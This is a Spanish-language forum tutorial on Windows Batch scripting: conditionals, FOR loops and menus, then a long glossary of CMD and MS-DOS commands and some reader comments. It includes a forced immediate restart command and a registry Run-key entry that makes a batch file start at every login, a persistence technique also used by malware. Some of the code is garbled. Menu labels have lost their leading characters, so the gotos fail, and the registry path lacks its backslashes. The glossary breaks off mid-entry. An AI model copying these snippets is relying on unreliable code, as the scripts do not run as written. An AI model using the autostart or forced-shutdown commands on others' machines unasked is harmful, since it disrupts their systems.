LSS, Para verificar si el numero es Menor
LEQ, Para verificar si es menor o igual.
GTR, Si es mayor
GEQ, Si es Mayor e igual.
Un ejemplo de esto seria:
Código :
dijo:if 5 GTR 4 echo Hola[/quote]
FOR:
Nos sirve para repetir un comando varias veces, en distintas variables.
Un ejemplo, es este:
for /L %%i IN (0,1,21) DO (echo %%i)
En donde /L es para especificar que nuestro for se basara en un conteo de números.
Aquí se repetirá un Echo, que imprimirá números del 0 al 21.
%%i sera el nombre de la variable que almacenara datos
in (0,1,21) aquí especificamos que se repetirá del 0 al 1 y del 1 al 21.
do (echo %%i) Esto es la función que se ejecutara en cada repetición del comando, en este caso un echo que imprimirá la variable.
dijo:Batch en algunos casos SI reconoce entre mayúsculas y minúsculas, como en el caso de la variable %%i si esta se llamara %%I no seria reconocida como la misma.[/quote]
Otro uso que puede ser aplicado en el FOR es el listado de carpetas o archivos, como veremos a continuación:
Listado de archivos:
Código :
dijo:@echo off
FOR %%x in (a*) DO echo %%x
pause[/quote]
Este código, listaría todos los archivos que comienzan con A.
¿Por que? * (asterisco) es un signo comodín, por lo cual al poner a*, estamos diciendo cualquier archivo que tenga una A delante y luego cualquier cosa.
Otro ejemplo del uso de comodín, es listar archivos con extensión común como seria este:
Código :
dijo:@echo off
FOR %%x in (*.jpg) DO echo %%x
pause[/quote]
Aqui nos estaria listando todos los archivos que tengan la extensión .jpg
Listado de Carpetas:
FOR /D %%x in (a*) DO echo %%x
Es casi lo mismo anterior, tan solo que al indicar /D solo se aplica a directorios.
Si quisiéramos que se listaran los directorios, juntos a los directorios que tienen estos dentro se ocupa /R
FOR /R /D %%x in (a*) DO echo %%x
y si quisiéramos listar todos los documentos que están dentro de una carpeta contando los que están dentro de carpetas se ocupa solamente /R (Sin /D)
FOR /R %%x in (a*) DO echo %%x
Creación de Menús:
Como ya vimos Condicionales y Etiquetas les enseñare una manera de hacer Menús.
Comenzaríamos indicando las instrucciones y las opciones, de esta manera:
Código :
dijo:@echo off
:Menu
cls
echo Seleccione su opcion tecleando el numero respectivo.
echo.
echo 1. Primera Opcion
echo 2. Segunda Opcion
echo 3. Salir
[/quote]
Luego para seguir ocuparíamos esto:
Código :
dijo:set /p var=
if %var%==1 goto rimero
if %var%==2 goto :Segundo
if %var%==3 goto exit
if %var% GTR 3 echo Error
goto :Menu[/quote]
Con esto damos una variable en la que se guardara el numero insertado para luego ser verificado por los condicionales, si el numero es mayor que 3 nos avisara que no existe esa opción. También al principio cree una etiqueta para que se pueda volver
al menú y un "cls" para limpiar la pantalla.
Para terminar creamos las respectivas etiquetas.
Código :
dijo:rimero
cls
color a
Echo Esta es la Primera Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
:Segundo
cls
color 1a
Echo Esta es la Segunda Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
[/quote]
Quedando para terminar nuestro codigo así:
Código :
dijo:@echo off
:Menu
cls
echo Seleccione su opcion tecleando el numero respectivo.
echo.
echo 1. Primera Opcion
echo 2. Segunda Opcion
echo 3. Salir
set /p var=
if %var%==1 goto rimero
if %var%==2 goto :Segundo
if %var%==3 goto exit
if %var% GTR 3 echo Error
goto :Menu
rimero
cls
color a
Echo Esta es la Primera Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
:Segundo
cls
color 1a
Echo Esta es la Segunda Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu[/quote]
Apagado y Reiniciado de Pc:
Una cosa muy interesante que puedes hacer con Batch es Apagar y Reiniciar tu Pc, incluso programarlo para que apague a la hora que desees.
Es notablemente fácil.
se ocupa de la siguiente manera el apagado.
shutdown -s -t Tiempo -c "Comentario"
donde -s significa que lo apagaremos, -t debe ir seguido de los segundos que demorara apagar.
Puedes cancelar el apagado (Antes de que el contador termine) solamente escribiendo shutdown -a ya sea en un archivo de texto con extensión bat, como en el mismo Shell.
Entonces, pues has la prueba
Código :
dijo:shutdown -s -t 999999 -c "Esto se esta apagando"[/quote]
Tendrás suficiente tiempo para ejecutar el siguiente código. (11 días )
Código :
dijo:shutdown -a[/quote]
Con esto ya probamos los dos y podemos ser felices.
Ok, si en vez de ocupar -s usas -r el PC se reiniciara.
También puedes forzar el cierre de los programas, para que no de tiempo de guardar nada. Tan solo ocupando -f
Un ejemplo de un Pc, que se Apaga Forzosamente y que puede dañar el pc y luego se reinicia es este:
Código :
dijo:shutdown -r -f -t 0 -c "Bye"[/quote]
(No lo recomiendo probar en tu pc, Ya que apaga el pc en 0 segundos sin preguntar nada. )
Leer archivos externos:
Para leer un archivo externo con Batch, como un archivo de texto por ejemplo. Se usa el siguiente código:
Código :
dijo:type "NombreDelArchivo.txt"[/quote]
¿Simple no?
Insertar al Registro:
Insertar al registro tu Batch puede ser muy útil, la verdad yo no entiendo mucho del registro pero leí un poco y aquí tienen un ejemplo que se encuentra a ser sincero en muchas web. Donde aremos que nuestro batch se ejecute con el Sistema.
Código :
dijo:REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v MIBATCH.bat /t REG_SZ /d
C:MIBATCH.bat[/quote]
Con la función REG ADD Agregamos algo al registro. Con otros comando podemos borrar.
Lo que sigue es la "Dirección" de donde insertaremos el registro que en este caso sera para que nuestro batch se ejecute al iniciar Sesión.
En medio de toda la dirección se puede leer MIBATCH.bat yo puse el nombre del Batch pero también se puede poner cualquier otra cosa. Más adelante donde dice C:MIBATCH.bat, es la dirección completa de donde esta nuestro Batch.
---------------------------------------------------------------------------------------------------------------------------------------------------------------
CMD
Aquí entra mi parte nueva sobre el CMD Suerte y si hay repetidos ignórenlo con tanta info no me basta andar viendo cuál tengo repetida y cual no xD
Comandos de Configuración e información del sistema
bootcfg - Configurador de arranque. Simplemente modfica el archivo boot.ini para indicar opciones de arranque
control userpasswords2 - Permite modificar las claves y los permisos de los diferentes usuarios, así como requerir la pulsación de control+alt+suprimir para poder iniciar sesión, haciendo el inicio de sesión más seguro
driverquery - Crea un informe sobre los dirvers instalados en el sistema. Muestra además información detallada de cada uno
dxdiag - Herramenta de diagnóstico de DirectX
gpresult - Información de las políticas de grupo aplicadas a un usuario
gpupdate - Actualizar las politicas de grupo
pagefileconfig - Configuración de la memoria virtual de Windows
prncnfg - Información sobre las impresoras instaladas
prnjobs - Información sobre los trabajos de impresión en cola
reg - Permite ver y modificar valores del registro de Windows. Opciones posibles:
reg query: consulta en el registro
reg add: añadir entrada
reg delete: eliminar entrada
reg copy: copiar clave en otro lugar del registro
reg save: guardar parte del registro
reg restore: restaura el registro
reg load: cargar valor o clave desde un archivo .reg
reg unload: descargar valor o clave
reg compare: comparar valores de registro
reg export: exportar registro a un archivo
reg import: importar registro a un archivo
sc - Administrador de servicios, podemos detenerlos, ejecutarlos, etc
sfc - Este comando permite buscar archivos del sistema dañados y recuperarlos en caso de que estén defectuosos (es necesario el CD de instalación del sistema operativo para utilizarlo). Para realizar una comprobación inmediata, deberemos ejecutar la orden sfc /scannow
systeminfo - Muestra información sobre nuestro equipo y nuestro sistema operativo: número de procesadores, tipo de sistema, actualizaciones instaladas, etc
taskkill - Permite matar procesos conociendo su nombre o su numero de proceso (PID)
Tasklist - Informe sobre los procesos ejecutados en el sistema
Comandos de Redes
arp - Muestra y permite modificar las tablas del protocolo ARP, encargado de convertir las direcciones IP de cada ordenador en direcciones MAC (dirección física única de cada tarjeta de red)
ftp - Cliente FTP en modo consola de comandos
getmac - Muestra las direcciones MAC de los adaptadores de red que tengamos instalados en el sistema
ipconfig - Muestra y permite renovar la configuración de todos los interfaces de red
nbtstat - Muestra las estadísticas y las conexiones actuales del protocolo NetBIOS sobre TCP/IP, los recursos compartidos y los recursos que son accesibles
net - Permite administrar usuarios, carpetas compartidas, servicios, etc. Para un listado completo de todas las opciones, escribir net sin ningún argumento. Para obtener ayuda sobre alguna opción en concreto, escribier net help opción
netsh - Programa en modo consola permite ver, modificar y diagnosticar la configuración de la red
netstat - Información sobre las conexiones de red de nuestro equipo
nslookup - Aplicación de red orientada a obtener información en los servidores DNS sobre un host en concreto
pathping - Muestra la ruta que sigue cada paquete para llegar a una IP determinada, el tiempo de respuesta de cada uno de los nodos por los que pasa y las estadísticas de cada uno de ellos
ping - Comando para comprobar si una máquina está en red o no
rasdial - Permite establecer o finalizar una conexión telefónica
route - Permite ver o modificar las tablas de enrutamiento de red
tracert - Informa sobre el camino que siguen los paquetes IP desde que sale de nuestra máquina hasta que llega a su destino
Comandos Miscelanea
at - Permite programar tareas para que nuestro ordenador las ejecute en una fecha o en un momento determinado
logoff - Comando para cerrar sesiones, incluso en equpos remotos
msg - Envía mensajes por la red a otros equipos
msiexec - Comando para ejecutar archivos de instalación .MSI
runas - Ejecución de programas como si fueras otro usuario
shctasks - Administrador de tareas programadas
shutdown - Comando para apagar, reiniciar el equipo. Es especialmente útil si hemos sido infectado con el virus Blaster o una de sus variantes para cancelar la cuenta atrás. Para ello, tan sólo tendremos que utilizar la sintaxis shutdown -a
Comandos de Microsoft Management Console (MMC)
Los siguientes comandos no son más que los accesos a cada sección de la MMC, que lanzarán una interfaz gráfica.
ciadv.msc - Permite configurar el servicio de indexado, que acelera las búsquedas en el disco duro
compmgmt.msc - Da acceso a la Administración de equipos, desde donde podemos configurar nuestro ordenador y acceder a otras partes de la MMC
devmgmt.msc - Administrador de dispositivos
dfrg.msc - Defragmentador de disco
diskmgmt.msc - Administrador de discos
fsmgmt.msc - Monitorización y Administración de los recursos compartidos
gpedit.msc - Políticas de grupo
lusrmgr.msc - Administración de usuarios
ntmsmgr.msc - Administración de dispositivos de almacenamiento extraibles
ntmsoprq.msc - Monitorización de las solicitudes de operador de medios extraibles
perfmon.msc - Monitor de sistema
secpol.msc - Configuración de seguridad local
services.msc - Administrador de servicios
wmimgmt.msc - Administador de WMI
ipconfig/all: Muestra la configuración de las conexiones de red
ipconfig/displaydns: Muestra la configuración sobre las DNS de la red
ipconfig/flushdns: Borra la caché de las DNS en la red
ipconfig/release: Borra la IP de todas las conexiones de red
ipconfig/renew: Renueva la IP de todas las conexiones de red
ipconfig/registerdns: Refresca DHCP y registra de nuevo las DNS
ipconfig/showclassid: Muestra información de la clase DCHP
ipconfig/setclassid: Cambia/modifica el ID de la clase DHCP
control netconnections: Abre las Conexiones de red
netsetup.cpl: Abre Asistente de conexión de red
ping dominio.tld: Comprobar conectividad a un servidor
tracert: Tracear la ruta de una dirección IP
netstat: Mostrar la sessión del protocolo TCP/IP
route: Mostrar la ruta local
arp: Muestra la dirección MAC
hostname: Muestra el nombre de la computadora
HKDSK - Controla un disco y provee información sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
ATTRIB - Presenta en pantalla o modifica los atributos de los archivos.
COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc.
DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva.
EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usará esencialmente para modificar pequeños archivos de texto, empezando por los llamados "archivos de sistema”, que son el CONFIG.SYS y el AUTOEXEC.BAT.
FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones.
FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignación de los archivos (FAT), y cargando el programa de inicio.
INSTALL O INSTALAR- Carga los programas residentes, a través del Config.Sys.
MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory”, creación de un directorio.
MSCDEX - Acceso a los CD-ROM. A partir del DOS 6.
SCANDISK - Herramienta de verificación y reparación de los discos duros, pero sólo a partir de la versión 6.2.
Aca estan los demas para los que quieren saber mas del dos
ANSI.SYS - Carga el código ANSI. Interviene en el Config.Sys mediante un Device=
APPEND - Indica al sistema en qué directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que sólo se ocupa de archivos de comandos.
ASSIGN - Envía el comando direccionado en un disco hacia otro disco; este último reemplaza al primero. Ya no existe en el DOS 6.
BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauración de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendición porque este comando era uno de los más difíciles de manejar.
BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programación más simple que existe.
BAT - Extensión específica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los más conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento.
BREAK - Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa, que permite salir de una secuencia.
BUFFERS - Comando para el config.sys que determina la capacidad del búfer para el disco.
CALL - En un archivo .bat, llama a otro .bat como un subprograma.
CD - Cambio de directorio; su nombre completo es CHDIR.
CHCP - Selección de las tablas de códigos.
CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado.
CHKDSK - Controla un disco y provee información sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria.
CHOICE - Una novedad del DOS. 6. Le pide al usuario que efectúe una selección en una secuencia «batch».
CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeño e interesante que conviene recordar.
COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS.
CONFIG.SYS - Archivo de configuración que dispone de instrucciones propias. Este archivo se ejecuta automáticamente cada vez que se pone en funcionamiento la computadora.
COUNTRY - Nacionaliza el sistema, adaptándolo al país.
DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes.
DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresión puede variar normalmente de 1,7 a más de 10, según el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22.
DBLSPACE.SYS - Una novedad del DOS 6. Determina la posición final del archivo dblspace.bin.
DEBUG - Lanza el programa de "debugging' (eliminación de errores). Debug está reservado a los expertos.
DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad.
DEL - Destruye uno o varios archivos en el disco (actúa como el comando ERASE).
DELOLDOS - Suprime la puesta en reserva de un DOS antiguo.
DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operación.
DEVICE - Instala un driver de periférico, por medio del config.sys.
DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB.
DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo.
DISKCOPY - Copia de modo idéntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este último y haciéndolo sobre el modelo del disquete fuente si es necesario.
DISPLAY.SYS - Se utiliza para conmutar las tablas de códigos, vía el config.sys.
DOS - Establece un vínculo entre la memoria convencional y la memoria superior a través del config.sys.
DOSKEY - Instala el programa de memorización y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos.
DOSSHELL - Llama a la superestructura de diálogo del DOS. Este dos shell ha sido
suprimido en la versión DOS 6.2 ya que Microsoft consideró que había sido reemplazado ventajosamente por el “Administrador de archivos” de ese superprograma que es Windows.
DRIVER.SYS - Administra las disqueteras, a través del Config.Sys.
DRIVPARM - Define los parámetros de periféricos en modo bloque, a través del Config.Sys.
DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones.
ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, según se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que será mostrado en pantalla en todos los casos.
EMM386 - Sirve de soporte a la memoria expandida.
EMM386.EXE - Simula la memoria expandida en la memoria extendida, a través del Config.sys.
ERASE - Destruye uno o varios archivos del disco (y actúa como el comando DEL). Opte por DEL ya que se escribe más rápido.
ERROLEVEL - Código de errores para archivos .BAT Otra noción más para expertos.
EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe más en los DOS 6, está destinado a los programadores.
EXIT - Sale de un procesador de comandos. En la mayoría de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo.
EXPAND - Descomprime un archivo comprimido. A partir del DOS versión 5.
FASTHELP - Muestra en pantalla la lista de comandos de la versión 6 con una breve explicación.
FASTOPEN - Proporciona un acceso rápido a los archivos que se usan con más frecuencia, o a los últimos que se han utilizado, memorizando su camino de acceso.
FC - Comparación de archivos. No está disponible en todas las versiones.
FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando está reservado a los expertos.
FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys.
FIND - Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de salida (el monitor, por ejemplo) todas las líneas en las que la encontró.
FOR - Especifica la repetición del mismo comando para cada una de las variables contenidas en la lista.
GOTO - Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo nombre en un archivo .BAT.
GRAFTABL - Carga la tabla de los caracteres gráficos, los códigos ASCII 128 a 255, para la visualización en pantalla. No existe más en el DOS 6.
GRAPHIC - Carga una secuencia que permite la impresión de la pantalla que incluye caracteres gráficos, de códigos 128 a 255.
GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe más en el DOS 6, en el cual ha sido reemplazado por el QBasic.
HELP - Pedido de ayuda. Desde el DOS 5.
HIMEM.SYS - Administrador de memoria extendida.
IF - Comando de ejecución condicional para archivo .BAT.
INCLUDE - Incluye un bloque de configuración en otro, a través del Config.Sys. Nuevo comando con el DOS 6.
INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6.
INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versión 6.
INTERSVR - Lanza el centro de recuperación de datos InterLnk. Nuevo comando del DOS 6.
JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe más en el DOS 6.
KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA).
LABEL - Crea, modifica o suprime el nombre atribuido a un disco.
LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys.
LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH.
LINK - Llama al editor de conexiones.
LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6.
LOADHIGH - Carga un programa en la memoria superior, generalmente a través del Autoexec.bat. Desde el DOS 5. Otro nombre: LH.
MACROS - Realización de macros con Doskey.
MEM - Muestra en pantalla la memoria ocupada y la disponible.
MEMMAKER - Administración y optimización de la memoria, pero con los DOS 6. •
MENUCOLOR - Determina el color del texto y del fondo para el primer menú, a través del Config.Sys. A partir del DOS 6.
MENUDEFAULT - Especifica el menú por defecto, en el inicio. A partir del DOS 6.
MENUITEM - A partir del DOS 6. Define un ítem del menú de arranque.
MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.
MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory”, creación de un directorio.
MODE - Establece las condiciones de funcionamiento de los periféricos, impresora, interface de video y conexiones en serie, y también sirve para la preparación de las tablas de códigos.
MORE - Para visualizar página por página en la pantalla (es decir, sin que desfilen ininterrumpidamente en la pantalla)
MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6.
MSAV - Programa antivirus. A partir del DOS 6.
MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.
MSD - Provee información técnica sobre su computadora. A partir del DOS 6.
NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support Function”. Da informaciones complementarias sobre los países y prepara el uso de las tablas de códigos con CHCP
NUMLOCK - Determina que la sección numérica del teclado esté bloqueada o no, a través del Config.Sys. Nuevo comando a partir del DOS 6.
PATH - Especifiica caminos de búsqueda alternativos para los archivos de comando (con la extensión .COM, o .EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo Autoexec.bat.
PAUSE - Suspende la ejecución de un programa .BAT mostrando en pantalla un mensaje optativo de 121 caracteres como máximo.
POWER - Pone en servicio o saca de servicio la administración del consumo de energía. Nuevo comando a partir del DOS 6.
POWER.EXE - Administrador de POWER. Nuevo, a partir del DOS 6.
PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla.
PRINTER.SYS - Se utiliza para conmutar las tablas de códigos con las impresoras, a través del Config.Sys.
PROMPT - Define o muestra en pantalla los símbolos del sistema utilizados por el DOS.
QBASIC - Es el nuevo lenguaje Basic de Microsoft. A partir del DOS 5.
RAMDRIVE - Instala un disco virtual, a través del Config.Sys.
RD - Suprime un subdirectorio que debe estar obligatoriamente vacío (y que, por lo tanto, sólo debe contener las marcas . y ..). El nombre completo de este comando es RMDIR.
RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el disco. Los datos de este sector se habrán perdido. No existe más en el DOS 6.
REM - Introduce observaciones, comentarios, en 123 caracteres como máximo por l
Fuentes de Información
-
6Seguidores
-
11.840Visitas
-
57Favoritos
¿Seguro que deseas bloquear a este usuario?
¿Seguro deseas procesar este post?
Global
Argentina
Chile
Colombia
España
México
Perú
Uruguay
Venezuela
36 comentarios
possdata:dejaría puntos pero soy novato
gracias!
En fin: Gracias
-nslookup
-tracert
porfa me urge nos vemos
Para -nslookup te pondré un poco de información a ver si te sirve:
Introducción a nslookup
Nslookup (Name System Lookup) es una herramienta que permite consultar un servidor de nombres y obtener información relacionada con el dominio o el host y así diagnosticar los eventuales problemas de configuración que pudieran haber surgido en el DNS.
Utilizado sin ningún argumento, el comando nslookup muestra el nombre y la dirección IP del servidor de nombres primario y una invitación de comando para realizar consultas. Basta con introducir el nombre de un dominio en la invitación de comando para detallar las características. De la misma manera, es posible solicitar información sobre un host indicando su nombre seguido del comando nslookup:
nslookup nombre.del.host
De modo predeterminado, el comando nslookup realiza consultas al servidor de nombres primario configurado en la máquina. Sin embargo, es posible consultar un servidor de nombres específico, agregando un signo menos después del comando:
nslookup nombre.del.host -nombre.del.servidor
Es posible modificar el modo de consulta del comandonslookup usando el argumento set:
•set type=mx: Permite obtener información relacionada con el(los) servidor(es) de correo de un dominio.
•set type=ns: Permite obtener información del servidor de nombres relacionado al dominio.
•set type=a: Permite obtener información de un host de la red. Se trata de un modo de consulta predeterminado.
•set type=soa: Permite mostrar la información del campo SOA (inicio de autoridad).
•set type=cname : Permite mostrar información relacionada con los alias.
•set type=hinfo: Permite mostrar, siempre y cuando los datos estén disponibles, la información relacionada con el material y el sistema operativo del host.
Para salir del comando nslookup, basta con introducir la palabra exit.
Ahora para tracert un programa online que te puede servir para rastrear una dirección Ip:
http://www.ip-adress.com/ip_tracer/
con esto puedes localizar una Ip (xxx.xx.xx.xxx) y ver de donde es y también puedes obtener la Ip de alguna página web...
Suerte ;D
Estoy para servirles pero no de almohada (ni nada extra que no quiera xD)
no dispongo de puntos pero si los consigo te pongo los 10 porque te los re mereces.
un abrazo!
CHUCO no estoy muy seguro y no sabría decirte bien pero me imagino que lo de cambiarle el tamaño de la fuente es posible, lo de la imagen no creo....
igual me tenia re caliente este pibe